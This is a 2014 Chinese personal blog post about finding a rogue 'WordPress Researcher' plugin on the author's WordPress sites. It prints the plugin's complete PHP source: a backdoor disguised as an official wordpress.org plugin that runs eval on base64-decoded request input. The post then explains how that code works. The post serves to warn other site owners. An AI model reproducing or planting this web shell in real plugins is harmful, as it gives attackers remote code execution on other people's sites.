6

WTF!WordPresshacked~

Posted by Chen Hongbin on 2014 年 8 月 3 日 in 计算机网络 |

wp_hack

大家警惕!看看是否有一个叫 WordPress Researcher的插件!

查看了一下插件的安装日期是7月24日下午2点,WTF那个时候我在上班啊!所以我一开始就感觉不对。我一个有3个网站被强行安装上了:a.cx,cny.club,a.cx

我的wordpress版本都是最新的,而且也没有安装什么乱七八糟的插件,都是来自官网。

现在思考下来,hacked的原因只有2个:

1)Wordpress本身的程序漏洞。从Wordpress的前科看,这个可能性很大,Wordpress屡屡爆出hacked,毕竟是全球性的开源程序,有很多黑客在研究Wordpress

2)我自己的密码泄露。感觉这个可能性不大,我一般都是在自己家里管理Wordpress的。但是有那么一丝可能性,因为我在单位电脑登录过,那么单位电脑有木马病毒什么的还要进一步去侦查。但是,如果有木马,那也是“国产货”专门盗游戏密码什么的,我区区一个Wordpress值得他盗么?所以也不太可能。

深思熟虑下来,一的可能性占到99%。

附上该插件的源代码:

<?php
/*
Plugin Name: WordPress Researcher
Plugin URI: http://wordpress.org/extend/plugins/
Description: WordPress research tool.
Author: wordpressdotorg
Author URI: http://wordpress.org/
Text Domain: wordpress-researcher
License: GPL version 2 or later – http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
Version: 2.2.4
Copyright 2013  wordpressdotorg
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110, USA
*/
    function research_plugin()
    {
        if (isset($_REQUEST[‘JQIW’]))
        {
            eval(base64_decode($_REQUEST[‘JQIW’]));
        }
        return;
    }
    add_action(‘after_setup_theme’, ‘research_plugin’);
?>

解析一下代码:

一共就2个函数

第一函数 research_plugin()  先是判断是否定义过$_REQUEST[‘JQIW’]

$_REQUEST是一个超全局变量,里面包括有
$_GET
$_POST
$_COOKIE

功能是接受表单, ‘JQIW’

如果是,那么他开始编码

例子

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("$str = \"$str\";");
echo $str;
?>

输出:

This is a $string $time morning!
This is a beautiful winter morning!

第二个函数是一个动作

WordPress有一个叫做after_setup_theme的动作hook。一旦父/子主题的功能文件加载完毕,这个hook也会被执行。after_setup_theme是一个非常实用的hook,WordPress默认主题TwentyTen也使用了这个hook。

add_action( 'after_setup_theme', 'browncoats_theme_setup' );

6 Comments

Comments are closed. Would you like to contact the author directly?
All Included.

Email : a@a.cx / 6@6.ls / i@ye.ee

外滩18号米店

中华人民共和国 网站备案号(工信部暨公安部):
 
主体: 沪ICP备15005899号
沪ICP备15005899号-1
沪ICP备15005899号-2
沪ICP备15005899号-3

沪公网安备31011802004858

Top